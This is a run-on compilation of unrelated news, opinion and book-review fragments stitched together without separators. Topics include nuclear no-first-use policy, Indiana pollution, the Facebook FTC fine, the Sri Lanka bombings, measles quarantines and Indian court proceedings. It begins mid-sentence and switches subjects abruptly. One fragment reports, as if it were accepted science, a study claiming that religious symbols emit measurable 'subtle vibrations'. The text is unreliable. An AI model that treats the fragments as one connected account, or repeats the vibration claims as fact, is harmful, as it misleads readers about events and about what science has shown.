Jan. 28, 2015, to Pavilion Partners LLC managing partner Chuck Williams. The letter indicates the Department of Historic Preservation Review Board granted the permit with qualifications earlier in January 2015. Establishing such a policy is one of the most significant steps the United States can take to lower the risk of nuclear war. It would clarify that the only purpose of U.S. nuclear weapons is to deter the use of nuclear weapons against the United States or its allies, or respond to such a use. Currently, U.S. policy states that it will not use nuclear weapons against countries that do not have nuclear weapons, but it retains the option of using nuclear weapon first in a conflict against nuclear-armed states essentially just Russia, China and North Korea. But if the United States used a nuclear weapon first in a crisis crossing the threshold from conventional to nuclear and starting a nuclear war that would significantly increase the risk that an adversary would launch a catastrophic nuclear attack on the U.S. public. A no first use policy also would reduce the chance that an adversary would launch a nuclear strike on the United States out of fear that a U.S. nuclear launch against it was imminent. The Indiana Attorney General sent a letter in support of the newly proposed waters of the U.S. definition by the U.S. Environmental Protection Agency, another Trump administration effort to deregulate polluters. The 2016 Toxic Release Inventory says industry released the nation's sixth-highest volume of toxic chemicals released to the air and water of Indiana. The report showed that of the nation's 50 most populous cities, Indianapolis leads the pack with 10.9 million pounds toxic chemicals released. U.S. News and World Report measured the drinking water quality in each state and put Indiana at 46th out of 50 states. Twice in the last seven years, Indiana dumped more hazardous materials into our waterways than any other state, according to Environment America. Thirty states drain into the Mississippi River, but fully 10% of the nutrients that cause the dead zone in the Gulf of Mexico comes from Indiana farms, according to the Natural Resources Defense Council. The letter argued the Trump administrations proposal would restore respect for the states traditional authority to protect local lands and water resources. Countrys largest carmaker Maruti Suzuki India (MSI) on Thursday announced that it will stop sales of all diesel-engined cars from April 1, 2020. This is the day that Bharat Stage 6 (BS6) emission norms come into force in India and no old Bharat Stage 4 diesel engined vehicles will be allowed to be registered. The Supreme Court has made it clear that it will not allow the sale and registration of any BS4 from April 1, 2020, MSI chairman RC Bhargava said explaining the decision. Some of the companys models like Vitara Brezza and S-Cross currently come with a diesel engine option only. During the carmakers annual results conference on Thursday, Bhargava said making existing diesel engines BS6 compatible was not technically possible and also the cost of a BS6 diesel option on smaller cars would add at least Rs 1 lakh to the existing cost of a diesel car. THE BODY PAPERS: A Memoir, by Grace Talusan. (Restless, $22.99.) In this precise, delicately constructed memoir-in-essays, Talusan writes about her experience as an immigrant to the United States, her survival of childhood abuse and returning to visit the Philippines, her native country. Talusan has the instincts of a storyteller, teasing out her narrative through images and allusion, our critic Jennifer Szalai writes. The book doesnt track a one-way march to triumph from adversity; Talusans essays loop in on themselves, as she retrieves old memories and finds unexpected points of connection. WORKING: Researching, Interviewing, Writing, by Robert A. Caro. (Knopf, $25.) In a collection of pieces that is unusually short for Caro, he offers his observations on his career as a biographer and historian, describing his commitment to getting all the details of a story and relating the lengths he is willing to go to in order to empathize with the people he is writing about. Our reviewer, Harold Evans, calls it an iridescent book and applauds the authors tenacity, his charm and his investigative genius, no other word for it. Caro, he says, has measurably enriched our lives with his intellectual rigor, his compassion, his openness, his wit and grace. NAAMAH, by Sarah Blake. (Riverhead, $26.) Life on the ark after the Great Flood is filtered through the consciousness of Noahs wife, Naamah, in this sensual and evocative first novel, a delirious contemporary riff on an Old Testament climate catastrophe. Reviewing it, Joan Silber calls the novel a wild and superbly intelligent reimagining that avoids the pitfalls of biblical retellings. Blake can invoke prodigious events in plain yet properly large terms, she writes, and theres an amused sanity under the gravitas. THE BENEFICIARY: Fortune, Misfortune, and the Story of My Father, by Janny Scott. (Riverhead, $28.) Scott, a former reporter for The Times, explores the consequences of generations of inherited Main Line wealth as played out in her own family especially through the lens of her alcoholic father, affectionately and mockingly called the duke by his wife and children. It is often very funny, with some moments paced like a drawing room comedy, Michael Gorra writes in his review. Yet the duke inherited something more (or other) than money, and what comes to dominate his daughters narrative is her sense of wealths misfortune. FALTER: Has the Human Game Begun to Play Itself Out?, by Bill McKibben. (Holt, $28.) McKibben, a veteran environmental writer, is never hectoring or hyperbolic; here, he turns the possibility of human extinction (from climate change, artificial intelligence, etc.) into an absorbing analysis with a glimmer of hope tempered by cold realism. Some people hope that world problems will be solved by advanced new technologies, Jared Diamond writes in his review. Considering each such technology in turn, McKibben explains his skepticism about its hoped-for benefits, and his concerns about potential undesirable side effects. Sri Lankas Health Ministry conceded it had overstated the death toll, revising its estimate from at least 359 killed to between 250 and 260. Takeaway: The attack in Sri Lanka shows that ISIS, which lost all of its territory in Iraq and Syria, does not need a safe haven to be a major threat. It is now decentralized and relying on affiliates further afield. The ringleader: The man accused of masterminding the attack spewed violent rhetoric for years, but people in his hometown dismissed him. Looking ahead: Across Sri Lanka, Friday Prayer for Muslims and Sunday services for Roman Catholics have been canceled for security reasons. [What you need to know to start the day: Get New York Today in your inbox.] If New York is a city of dreams, Anna Sorokin had plenty of them. Ms. Sorokin, a Russian immigrant from a middle-class family, longed to be a member of the upper echelon of Manhattan society. She elbowed her way into the citys bustling social scene and tried to raise money to open a members-only arts club on Park Avenue South. To friends and those wanting to do business with her, there was no reason to believe she was not the person she said she was a wealthy German heiress with a taste for the high life. For years, she had played the part, and looked it, too. She wore the latest designer clothes Gucci and Yves Saint Laurent and moved from one boutique hotel to the next. She doled out $100 tips, treated friends to expensive meals and chartered a private plane to Omaha for the Berkshire Hathaway Conference. How can I describe the fine of between $3 billion and $5 billion that Facebook is likely to pay to the Federal Trade Commission which will doubtlessly be touted as its largest ever to settle the governments inquiry into what the social networking giant called our platform and user data practices? How about: Its a parking ticket. Not a speeding ticket. Not a DUI or a DUI(P), data under the influence of Putin. A parking ticket. To be clear, $5 billion is a lot of money. A lot of dough, clams, loot, lettuce, simoleons. But with apologies to that pissed-off shark in Jaws, theyre going to need a bigger fine if they actually want to stop Facebook from violating its users privacy. [Kara Swisher answered your questions about this column on Twitter.] Back in 2011, with Im-sorrys all around, Facebook signed a consent decree with the F.T.C. around a different set of data abuse issues. This new fine presumably will cover all of the fresh Im-sorrys since then, for the various and sundry violations that the company has committed over the last several years, including the mistakes the company made in not seeing and then not quickly plugging the epic Cambridge Analytica data leak. So who, exactly, doesnt respect middle America? When it comes to politicians, of course, what they say is much less important than what they do. So what do the policy choices of liberal and conservative pols say about how they value the heartland? Some Democrats, notably Elizabeth Warren, have been offering real proposals to help rural areas. Theyre probably not enough to reverse rural and small-town economic decline, which would be hard to do even with plenty of money and the best will in the world. But they would help. Meanwhile, all that Republicans have to offer are fantasies about bringing back lost jobs in things like coal mining and manufacturing. In reality, coal mine closures have continued and the manufacturing trade deficit has widened since Trump took office. More important, think about what will happen to troubled parts of America if Republicans manage to do what they tried to do in 2017, and impose savage cuts on Medicaid and other safety net programs. I always think about West Virginia, where Medicaid covers almost a third of the nonelderly population. And its not just about receiving care, its also about jobs. More than 16 percent of West Virginians are employed in health care and social assistance, compared with less than 3 percent in mining. Hospitals are the biggest employers in many parts of rural America. What do you think will happen to those jobs if Medicaid is hollowed out? The point is that if you look at what conservatives say to each other, as opposed to what they pretend to believe, it becomes clear that contempt for middle America is much more prevalent on the right than on the left. And this contempt is reflected in the rights policy agenda, which would badly hurt the people it claims to consider the only real Americans. I know that this will be a hard point to get across. Indeed, Im sure that some people in the heartland will take any effort to convince them that theyre being misled as just another example of liberal disrespect. But all Americans, wherever they live, deserve to be told the truth. The Times is committed to publishing a diversity of letters to the editor. Wed like to hear what you think about this or any of our articles. Here are some tips. And heres our email: letters@nytimes.com. Follow The New York Times Opinion section on Facebook, Twitter (@NYTopinion) and Instagram. On Friday morning, a Justice Department spokeswoman said: A single district judge should not go beyond the parties before the court in an attempt to block executive branch actions. The Department of Justices position is supported by long-standing Supreme Court precedent and should be upheld. The spokeswoman, Kelly Laco, did not immediately say whether the administration would appeal. Bob Ferguson, Washingtons attorney general, who had filed the case along with the National Family Planning & Reproductive Health Association, said his office would return to court to ask the judge to make the injunction permanent. He concurred with all of our legal arguments and he rejected all of the administrations arguments, said Mr. Ferguson said. The judge stated from the bench that we met our very high burden to have a national injunction granted. The rule, announced in February, would deny clinics across the country millions of dollars from the federal family planning program called Title X. Title X provides $286 million for programs that provide services like birth control, screening for breast cancer and cervical cancer, and screening and treatment for sexually transmitted diseases. These programs serve about four million patients each year, many of them poor, at more than 4,000 clinics. The rule was partly seen as an attack on Planned Parenthood, which operates about 40 percent of those clinics, is the only provider in some communities, and receives nearly $60 million in Title X funding each year. Facebook has shown its willingness to fight charges of privacy violations. On Thursday, Facebook disputed findings by Canadas privacy commissioners in an investigation into how Cambridge Analytica, a British political consulting firm that worked for the Trump presidential campaign, gained access to information about Facebook users. The privacy commissioner of Canada and the information and privacy commissioner for British Columbia said Facebook violated national and local laws in allowing third parties access to private user information through superficial and ineffective safeguards and consent mechanisms. The Canadian regulators, who have limited power to force Facebooks compliance, plan to take the company to a Canadian federal court. The court, which focuses on regulatory issues and lawsuits against the government, may impose fines. The revelations of data misuse by Cambridge Analytica also set off the investigation at the F.T.C. But regulators expanded it to include other privacy violations by Facebook that were reported, almost monthly, according to a person familiar with the investigation. Among conditions that are being discussed by the F.T.C. are stronger monitoring of Facebooks privacy practices and greater restraints on how the company shares data with third parties, according to the two people familiar with the discussions. But the conditions are not finalized and could change, as could the amount of the fine, which Facebook said was a projection. The agency and Facebook could decide to go to court over charges if an agreement is not reached. The two sides were close to concluding settlement talks earlier this month, according to a person familiar with the talks. The companys guidance to investors of the financial penalty also indicated a conclusion is near. But disagreements over final terms of a settlement have complicated the conclusion of the F.T.C.s one-year investigation. WASHINGTON After pressure from the Defense Department, the Environmental Protection Agency significantly weakened a proposed standard for cleaning up groundwater pollution caused by toxic chemicals that contaminate drinking water consumed by millions of Americans and that have been commonly used at military bases. Standards released by the agency on Thursday eliminated entirely a section that would have addressed how it would respond to what it has described as immediate threats posed by hazardous waste sites. Those short-term responses, known as removal actions, can include excavating contaminated soil or building a security fence around a toxic area. Exposure to the class of toxic chemicals, called per-and polyfluoroalkyl substances, has been linked in recent years to kidney cancer, testicular cancer, thyroid disease, high cholesterol and ulcerative colitis, among other diseases. Animal studies also show delays in development. For decades, the substances, more commonly known as PFAS, have been placed in all kinds of everyday products nonstick pans, clothing, furniture. They can also be found in firefighting foams used on military bases, on airfields and by municipal firefighters. Similar laws have been enacted or considered by Republican legislatures amid anguishing debates in a handful of other states. But some defiant local officials seem to ignore the laws anyway. The Miami police chief has said he would rather be out of a job than order officers to ask someone about their immigration status before helping them. In Texas, where lawmakers passed a law two years ago requiring that local authorities cooperate with ICE, several of the states largest cities challenged the mandate in court but lost. The Florida bill appears based on the Texas law, though its penalties for local officials are lighter, said Jessica Vaughan, the director of policy studies for the Center for Immigration Studies. Its designed to be bulletproof against the inevitable lawsuits that will be filed by advocacy groups in Florida, she said. Those are going to have a tough time, considering that the Texas law has already passed muster. Unlike other states, however, Floridas immigrant population includes people from countries that Republicans starting with Mr. Trump have enthusiastically courted: Cubans, Nicaraguans and Venezuelans, who are seen as more likely to align politically with conservatives. Democratic state lawmakers, who have been united in their opposition to the sanctuary cities bill, have cast Republicans as hypocritical for saying they want to help Venezuelan immigrants while voting for legislation that could make it easier to deport them. Cuban-American lawmakers have had to grapple with the fact that their families received special immigration privileges when they arrived. One of them, Senator Anitere Flores of Miami, is the lone Republican to oppose the bill in the Senate so far. I have an incredibly diverse district that has a lot of migrant communities, a lot of farmworkers, she said. But I also think that theres a responsibility to represent your community as a Hispanic woman, and to understand that in my familys situation, but for unique laws that were in place for Cubans when my parents came, they could have very well been undocumented immigrants. Federal prosecutors charged a state judge and a former court officer in Massachusetts with obstruction of justice on Thursday for allegedly helping an undocumented immigrant escape from an Immigration and Customs Enforcement officer at a courthouse last year. The indictment of the judge, Shelley M. Richmond Joseph, 51, and the officer, Wesley MacGregor, 56, was a dramatic turn in the long-running clash between the Trump administration and state governments that have resisted its hard-line approach to immigration. Prosecutors accused Judge Joseph and Mr. MacGregor of letting their beliefs trump federal immigration law when they allegedly helped the man, who was not named in the indictment, sneak out of Newton District Courthouse in Newton, Mass., in March 2018. The judge ordered the man to go to a basement facility, where he was let out a back door, rather than into the lobby, where she knew that an ICE officer was waiting for him, prosecutors say. The allegations in todays indictment involve obstruction by a sitting judge, that is intentional interference with the enforcement of federal law, and that is a crime, United States Attorney Andrew E. Lelling said in a statement. We cannot pick and choose the federal laws we follow, or use our personal views to justify violating the law. Panel to look into conspiracy against CJI charge only, not into sexual harassment allegation The Supreme Court (SC) on Thursday ordered a probe headed by former SC judge Justice AK Patnaik into allegations made by advocate Utsav Bains that there is a corporate conspiracy to frame the Chief Justice of India (CJI) Ranjan Gogoi on charges of sexual misconduct. A Bench of Justices Arun Misra, RF Nariman and Deepak Gupta also directed Delhi Police, CBI and Intelligence Bureau to cooperate with Justice Patnaik in the probe. On the completion of inquiry, Justice (Retd) Patnaik will file a report in a sealed cover before the court after which the matter will be heard again. Justice Patnaik was earlier appointed by the SC to probe the allegations against former CBI Director Alok Verma. Anguished over systematic attack to malign the judiciary, the SC said the time has come to send a message to the country that the top court is not vulnerable and nobody can remote control it either by money or political power. The top court, warned that if such attempts are not stopped the institution will die. During the course of the hearing, Bains, who made the claim about a conspiracy to frame Justice Gogoi, filed an additional affidavit in a sealed cover in the court in support of his claims. The court while examining an affidavit by Bains noted that the allegations of Bench fixing are so serious that it requires investigation. The SC also noted that the probe committee will not go into the issue of sexual harassment allegations against the CJI and the outcome of the Justice Patnaik probe will not affect the in-house enquiry. Meanwhile, Justice NV Ramana, part of three-member in-house enquiry panel set up to examine the allegations of sexual harassment against Gogoi, recused himself from it on Thursday. The development comes a day after the former apex court woman employee, who levelled the allegations against the CJI, wrote a letter to the panel expressing reservation over the inclusion of Justice Ramana. Observing that the apex court cannot be run by money or political power, a three-judge special Bench headed by Justice Arun Mishra said the day has come for them to rise and tell the countrys rich and powerful that they are playing with fire. Do not think that the SC can be remote controlled by anything on the earth, whether money power or political power, the Bench said. We are anguished with the way this institution is being treated in the last three-four years and we must say that it will die and it will not survive if this will happen. There is systematic attack, systematic game to malign this great institution, the SC said. The Bench said letters were being written and books were being printed in matters pending in the court and this practice has to be stopped. Do the rich and powerful of this country think that they can remote control the SC, the Bench said. The hard hitting observations by the Bench came after Solicitor General Tushar Mehta said there should be a probe by a Special Investigation Team (SIT) on the allegations levelled by Bains in his affidavit as he has claimed a larger conspiracy which concerns the administration of justice. You (Mehta) are provoking us to speak. We are not inclined to say but now listen. So many things are going on. There are serious allegations that need to be probed. The Supreme Court cannot be run by money power or political power, Justice Mishra said. It is an institution of you people and not ours. Judges come and go but if these things will happen then it (institution) will die and it will not survive, the Bench said. During the hearing on Thursday, the Bench said, We cannot mention several things. People are trying to manage the court registry by money power. When somebody tries to improve things, he is killed and maligned? We have come to this extent of blackmailing. The Bench asked Attorney General KK Venugopal about the issue of privilege claimed by Bains over some communications being protected under provisions of the Advocates Act. Venugopal, while referring to provisions of law, said there was no lawyer-client relationship in this case as Bains has filed affidavit in his personal capacity and thus he cannot claim privilege over certain communications. Senior advocate Indira Jaising, who is appearing in person in the matter, told the Bench that they should clarify there is no connection between the hearing on affidavit of Bains and the separate in-house inquiry committee proceedings on allegations of sexual harassment against the CJI. In another statement on Thursday, the university said it had cleared 43 more students and two faculty members, reducing the number of people under quarantine there to 82. We expect the trend to continue as more people provide proof of immunization or are shown by tests to have immunity to measles, the university said. Quarantine orders can last up to 21 days from the date of possible exposure. The quarantine period for U.C.L.A. ends on April 30, and the one for California State-Los Angeles, ends on May 2, the Los Angeles County Department of Public Health said Thursday. The department believes additional measles exposures may have occurred this month at Los Angeles International Airport and at several restaurants near Glendale. Measles is an extremely contagious virus that can cause serious respiratory symptoms, rash and fever. In some cases, especially in babies and young children, the consequences can be severe. Pneumonia and encephalitis swelling of the brain are the most common severe complications. A single case of the measles can quickly spiral into an outbreak, especially because people might not know they have the illness for several weeks before they begin to show symptoms. People who do contract measles often seek medical care at hospitals, where they can potentially transmit the illness to other patients, especially those with compromised immune systems. Infants typically do not receive measles vaccinations until they are about 1 year old and therefore are highly vulnerable. Some older people are also at high risk, as are patients who take medication that affects the immune system, like those being treated for arthritis. [Read the latest edition of Crossing the Border, a limited-run newsletter about life where the United States and Mexico meet. Sign up here to receive the next issue in your inbox.] LOS ANGELES A federal judge on Thursday gave the Trump administration six months to locate thousands more children and parents who were potentially separated at the southern border under a policy intended to deter illegal immigration. Early this year, it came to light that many more children most likely had been forcibly separated from their parents even before a border-enforcement policy known as zero tolerance was officially unveiled in the spring of 2018. Under the policy, nearly all adults who entered the country illegally faced criminal prosecution, and any children accompanying them were placed in shelters or foster care. They often ended up hundreds or thousands of miles apart for weeks or longer. Judge Dana M. Sabraw of the United States District Court for the Southern District of California had asked the government to devise a plan to account for the additional children and their families. The request came after a report from government inspectors in January revealed that the Trump administration most likely separated thousands more children from their parents than had been previously reported, because of a lack of coordinated formal tracking among the various federal agencies involved. CARACAS, Venezuela Search teams combed the Caribbean on Thursday for 25 Venezuelan migrants missing after a boat sank in rough seas on the way to Trinidad, authorities said. At least nine others from the sunken boat had been pulled alive from the water, they said. The small craft left Venezuela on Tuesday and overturned not far from shore, said Lt. Kerron Valere of the Trinidad and Tobago Coast Guard. He said Venezuela was leading the search within that nations waters, but the Trinidad and Tobago Coast Guard was assisting. Lieutenant Valere said the official manifest listed 25 people on the boat, but the authorities had determined that at least 34 were on the vessel. A Venezuelan opposition lawmaker, Robert Alcala, said that 25 boarded in the Venezuelan port of Guiria but others illegally got on at another stop along the coast. He said fishermen had rescued several people after the sinking. Whether Mr. Zaharan found the Islamic State or the Islamic State found him, they seemed inextricably drawn to each other. In other places, like Indonesia and the Philippines, the Islamic State has been adept at taking Islamic radicals with local grievances and enlisting them in the global slipstream of terror. By 2017, Mr. Zaharan and his followers were targeting a Sufi sect in Kattankudy, accusing its members of being infidels, even though Sufis are fellow Muslims who practice a mystical form of the faith. After the Sufis in Kattankudy handed out packets of rice to the poor, an action that Mr. Zaharan regarded as trying to buy hungry converts, he grabbed a sword and charged the crowd. The police said they tried to arrest Mr. Zaharan and one of his brothers, but they escaped. About 10 of his followers were detained, however, including his father and other relatives. Surprisingly for a small group from a distant part of Sri Lanka, the detained members of National Thowheeth Jamaath managed to get a high-profile lawyer from Colombo to represent them. H.M. Ameer, a member of the Sufi community, said that he and other Sufis had repeatedly contacted the police to warn about Mr. Zaharans extremism. They sent a thick file to Colombo. But there was little result, Mr. Ameer said. His assessment echoed complaints from recent days that Sri Lankan authorities failed to act on repeated warnings from overseas intelligence agencies about Mr. Zaharan planning a catastrophic attack. On Thursday, Sufis in Kattankudy received a warning from the Sri Lankan criminal investigation department that their holy places might be targeted on Friday by militants associated with Mr. Zaharan who are still on the run. Looking out on soldiers guarding the Badhriyyah Jumah Mosque where he and other Sufis worship, Mr. Ameer shook his head. We warned them that this man was vehemently spreading Wahhabism and that he was calling for jihad, he said. It was out in the open, clear as day. Nothing was done. The Australia Letter is a weekly newsletter from our Australia bureau. Sign up to get it by email. This weeks issue is written by Damien Cave, our bureau chief, and a former religion editor for The New York Times. ___ A few days after the Christchurch attacks, I found myself writing a story in a pub not far from where it happened, drawing questions from two bearded blokes sitting beside me at the bar. Once I told them why I was there, they were quick to tell me they were outraged by the violence. They were also well versed (maybe too well versed) in 4chan and other sites that nurse white supremacy and they were very worried about retaliation from Muslim extremists. Before, we were invisible, one of them said. Now were on their radar. Sundays bombings in Sri Lanka, where more than 250 people were killed at Catholic churches and hotels, with the Islamic State taking credit, may or may not have had anything to do with the shootings at two Christchurch mosques Sri Lankan officials said it did; New Zealand officials were doubtful. The cockamamie real estate market has turned the good old Upper East Side into the most stimulating gallery neighborhood in New York and as downtown stultifies and Chelsea wilts in the shadow of Hudson Yards, the old blue-blood quarter has grown manifold. Up here the big-ticket dealers in grand townhouses exhibit alongside younger galleries in walk-ups and outposts of international dealers; the last few years have welcomed Nara Roesler and Mendes Wood of Sao Paulo, Almine Rech of Paris, Simon Lee of London and Kurimanzutto of Mexico City. Thats not to mention the dealers in antiquities, Asian art and rare books. On 57th Street youll find things to see in the gallery-rich Fuller Building, along with stalwarts like Pace and Marian Goodman (where Tino Sehgal, the Greta Garbo of philosophical performance art, opens a new show on May 3). Start there and work your way up Madison Avenue, where the galleries (like Gagosian and Levy Gorvy) cluster from the mid-60s to 79th Street. If you havent had your fill yet, turn left and head for the Metropolitan Museum of Art; if youre worn out, rejuvenation awaits in the hotel bars. The Emirates quest for international cultural cachet, however, has collided with Western human rights concerns, and the construction of the museum has been delayed as artists and academics have protested the treatment of the legions of foreign migrant laborers that the U.A.E. is relying on to build both the museum and the luxury developments around it. The Guggenheim said in 2007 that its 450,000-square-foot satellite designed by Frank Gehry would be part of the Saadiyat Island Cultural District, a square-mile complex just off the shore of Abu Dhabi island. The district also includes the Louvre Abu Dhabi, designed by Jean Nouvel. About 85 percent of the roughly 10 million residents of the U.A.E. are foreigners, most of whom are migrant laborers, usually from Southeast Asia, working for the Emirati minority. Critics of working conditions in Abu Dhabi say laborers must pay large recruitment and transit fees, and there have been reports that some employers or contractors have seized the workers passports, housed them in substandard conditions and paid them less than expected, all while enforcing demanding work schedules. The laborers usually live in giant, men-only barracks on the outskirts of the city, and they are ferried to and from their work sites in employer-run buses. Over the years some people concerned with the plight of the workers held protests inside the Guggenheim Museum in New York City. Museum officials have said that they were working closely with partners in Abu Dhabi to improve the welfare of workers. It was unclear, though, how much influence the museum might wield in a project that is being led by the Emirates government. Ms. Eaton, the Guggenheim spokeswoman, referred questions about the museums construction to an official with the Emirates culture and tourism authority, the agency responsible for building the museum. That official did not respond to an email asking when museum construction would get underway. The artist Walton Ford is known for his richly detailed and complex paintings of animals, some familiar and some extinct, drawn with a striking, at times unsettling, take on the traditional academic style. Imagine the work of the artist-naturalist John James Audubon, but on steroids and Red Bull. His work doesnt exactly scream black-tie-opening-at-the-opera. And yet, Mr. Ford has contributed not one but two images to the program known as the Gallery Met Banners, appearing on the facade of the Metropolitan Opera announcing the presentation inside. Ive never done anything quite like it, said Mr. Ford, who added that he thoroughly enjoyed the experience of creating an artwork for Hector Berliozs La Damnation de Faust (featuring a rearing goat) and Die Fledermaus by Johann Strauss (a bat with wings outspread hanging from a womans arm). His works, majestic and a bit creepy, somehow tap into the uncanny drama that powers many an opera plot. Its just getting something you love and relate to, Winzer replied, when asked why people wanted Game of Thrones tattoos. I mean, Ive got Simpsons, Addams Family, tattoos. Recently, fans were getting more obscure ones, so they stood out, she added. In London, she tattooed one fan with a door that had the phrase Hold the Door written on it, she said, a reference to a climactic scene from Game of Thrones season six. Around the corner from the NOW TV promotion, in another parlor called Gypsy Stables, Cesar Pimenta was preparing to ink an image of a leopard onto a customer who appeared to have little space left for new additions. Pimenta said hed seen people getting Game of Thrones tattoos for years, but he had only done three himself. I did two dragons on someones hands, and then I did this crest from the show of a dead man on a cross, he said. It looks like a guy getting tortured. Wasnt that too dark a symbol to tattoo on someone? Its cool, so why not? Pimenta said. Pimenta was not as obsessed with Game of Thrones as some of his customers, he said, but he did get fans obsession with wolves, an animal he said he felt a special bond with. An international team of researchers led by an Indian spiritual guru with specialisation in energy studies may have the answer to the question why certain group of people unleash murder and mayhem over fellow human beings in the name of religion and beliefs. They found that certain religious symbols play significant role in enhancing spiritual positivity and ensuring quality lives of people. A research carried out at Maharishi Adhyatma Vishwavidyalaya in Goa and led by Dr Jayant Balaji Atawale, founder of the Vishwavidyalaya, has found that every symbol or sign emits subtle vibrations capable of making life wonderful or horrible depending on the size, shape and symmetry of the symbols, specifically religious symbols. A scientific paper presented at the European Academy of Religion Annual Conference 2019 at Bologne, Italy, in early March by Dr Jayant Athawale and team that included Milutin Prankras, a Croatian civil engineer, and Sean Clarke, who works as editor of Spiritual Science Research Foundation, has taken the academic world by storm. Every symbol or sign emits subtle vibrations. These subtle vibrations can be positive or negative. Most people are not aware of the spiritual vibrations that their religions symbol emits. Hence, unknown to the followers, their religious symbol could be emitting negative vibrations. This can have adverse effects on all their devotees, Prankras told the conference. Prankras substantiated the findings of the three-year long study with details of the scientific investigation. The Universal Thermo Scanner (UTS), a high-tech instrument designed and developed by Hyderabad-based Mannem Murthy, a mineral engineer specialising in energy studies helped the team to unravel the mystery associated with the energy emitted by religious symbols. According to Dr Athawale, religious symbols are art forms and one of their primary functions is to aid devotees in connecting with or remembering the Divine. Such symbols at a subtle-level should attract positive spiritual energy and repel negative energy. Any given symbol is associated with specific subtle-vibrations. These vibrations can be classified as highly positive, positive or negative. It was found that some symbols are more positive than others, said Prankras and Mannem Murthy. The experiment conducted on swastika gave some interesting findings, said Rupesh Redkar of Maharshi Adhyatma Viswavidyalaya. When we studied the left-facing swastika, which was used by the German Nazi Party, it emitted negative energy jeopardising peace and tranquility. But the right-facing swastika, an emblem common with Hinduism and Jainism was found to radiate positive energy, said Redkar. Mannem Murthy is in the process of developing a diagnostic protocol with the UTS to find out the chances of people getting afflicted with medical disorders. AMERICAN MESSIAHS False Prophets of a Damned Nation By Adam Morris Whenever Americans attach the label cult to a religious group, they reveal more about their own anxieties than about the theological eccentrics themselves. In American Messiahs, Adam Morris offers up some truly strange historical characters. All were charismatic prophets who dissented from traditional Christianity and claimed, in one way or another, to represent God himself. But what, exactly, were their enemies so afraid of? Was it their wacky theology, or their disregard for traditional gender roles, racial hierarchies and capitalist values? Morris opens his gripping narrative with Jemima Wilkinson, a Revolutionary-era mystic from Rhode Island, well-known to historians but often left out of conventional accounts of that era. In 1776, after a bout of fatal fever likely typhus or typhoid nearly killed her at the age of 23, she claimed to be reborn as a divine messanger of God: the Public Universal Friend. The Friend claimed to transcend sex and preached the spiritual advantages of celibacy. He preferred male pronouns and dressed in mens clothing, a white or purple cravat and beaver fur hat. In the 1790s, he persuaded about 50 families to prepare for the coming apocalypse by building a new Jerusalem on the frontier a communal village near Seneca Lake in western New York. As idiosyncratic as Wilkinson was, the Friend emerged from a long tradition of Christian experiments in mysticism, communal living and occult theories about controlling sexual energy to connect with a bigendered God. For Morris, that ministry set the tone for messianic sects that followed, from Ann Lees community of Shakers and Father Divines racially integrated communes in 1930s Harlem to the deadly Peoples Temple of Jim Jones. He sketches a theological family tree that, while selective, highlights the connections between these individuals across generations: They read one anothers metaphysical treatises and visited one anothers communes. When a self-proclaimed messiah died without inaugurating the apocalypse, you can bet that younger rivals were ready to scoop up disappointed disciples. These leaders demanded total obedience and called followers to abandon family and live communally, as the first Christians did. They controlled disciples sexuality in part because of trauma that often lurked in their own backgrounds. Wilkinsons mother died giving birth to a later child; Ann Lee suffered three stillbirths and the death of one child who survived infancy. Thomas Lake Harris a New York mystic who specialized in channeling the afterlife verses of dead English Romantic poets before founding a commune in Northern California modeled his vision of the Divine Mother goddess on his own mother, who died when he was 9. No wonder these prophets preached that salvation lay in renouncing family and transcending ones reproductive organs. Why do you want to know my name? came the reply. Things went downhill. Crossen and his partner got out of their car. Antonio apparently flipped them off. He began calling Crossen names. The officer pulled out his own cellphone to record and asked Antonio patronizing questions about whether he had a job. No one ended up getting hurt, and Antonio, who hadnt committed a crime, wasnt arrested. But activists seized on the exchange. It was evidence, they said, of the hostile treatment African-Americans continue to receive from the police, even in cities like Boston, known for progressive values. Would a young white man have been accosted in the same way? Jennifer L. Eberhardt, a psychologist at Stanford, doesnt address the incident in Biased, her unexpectedly poignant overview of the research on cognitive biases and stereotypes, especially racial bias in criminal justice. But its no stretch to think that she would see bias at play. The biases that most interest Eberhardt arent overtly racist beliefs. She doesnt doubt that white supremacists are still among us (and she devotes a chapter to the white nationalist rally in Charlottesville, Va., in 2017). But in light of the fact that public opinion surveys show a decline in racist attitudes over the past few decades, while the unequal treatment of people of color stubbornly persists, Eberhardt focuses on a more likely culprit: unconscious prejudice. As Eberhardt describes it, the human brain is a categorization machine. Our cognitive systems continuously sort the elements of our perception into categories and subcategories so that we can function effectively in the world. That thing walking up to us now? Its a dog, medium-size, with a wagging tail. We use our prior experience with and cultural knowledge of categories to form expectations about whats going to happen next. Those expectations influence our behavior. If our brains didnt apply categorical knowledge, usually before weve had a chance to consciously reflect, wed experience everything as if for the first time. Wed be flummoxed by the simplest task. Chernobyl Reconsidered To the Editor: In reviewing Kate Browns Manual for Survival: A Chernobyl Guide to the Future (April 7), Robert P. Crease attempts to discredit her suggestions about nuclear accident cover-ups, stating that not all accusers of the scientific infrastructure are holy. True enough. Critics as well as scientists must base their claims on evidence, not polemics. But scientists are the ones required to be holy, that is, to be honest, because their work involves the public trust as well as safety. Their most egregious violation was the suppression of WASH-740, a nuclear safety study prepared by the Brookhaven National Laboratory that was withheld from the public until Freedom of Information Act lawsuits forced its release. It caused extreme discomfort in the nuclear establishment for its statement that a serious accident at a nuclear reactor would contaminate an area the size of the state of Pennsylvania. The withholding of the report by the Atomic Energy Commission is not the only example of unholy behavior by scientists. LORNA SALZMAN BROOKLYN The writer is the author of Nuclear Cover-Up: Censorship in the U.S.A.? and other articles on nuclear energy. A PEOPLES HISTORY OF HEAVEN By Mathangi Subramanian Mathangi Subramanians novel, A Peoples History of Heaven, follows the lives of five girls and close friends as they fight to save their slum on the outskirts of Bangalore from demolition. The slum is called Swarga, Sanskrit for heaven. Heaven, we are told, is nothing if not a series of crises. Men lurching home after midnight, collars and shirtsleeves blotted with blood. Women rushing to the police station to post bail for a son wrongfully incarcerated, a husband rightfully restrained. Children stumbling out of tin-roofed huts where their mother has died giving birth, cradling babies swaddled in torn up saris, blinking their newly orphaned eyes. It starts a little heavy-handed, as city officials are demolishing Heaven with bulldozers. But as the book progresses, the metaphors calm down and Subramanian finds her footing, the language taking on a musicality that is in sharp contrast to the bleak setting. A nameless narrating chorus weaves in and out of the stories of not just the girls but the mothers and women who came before them. At times this we detracts from the specificities of the central characters, but it works, because this is a story of a generation, a class, a community, a gender, a world. In Heaven, the girls fates are as tightly intertwined as their braids. Parts of this novel read like independent vignettes, almost poetry. This is a history as much of a place and a time as of a people. Six new paperbacks to check out this week. 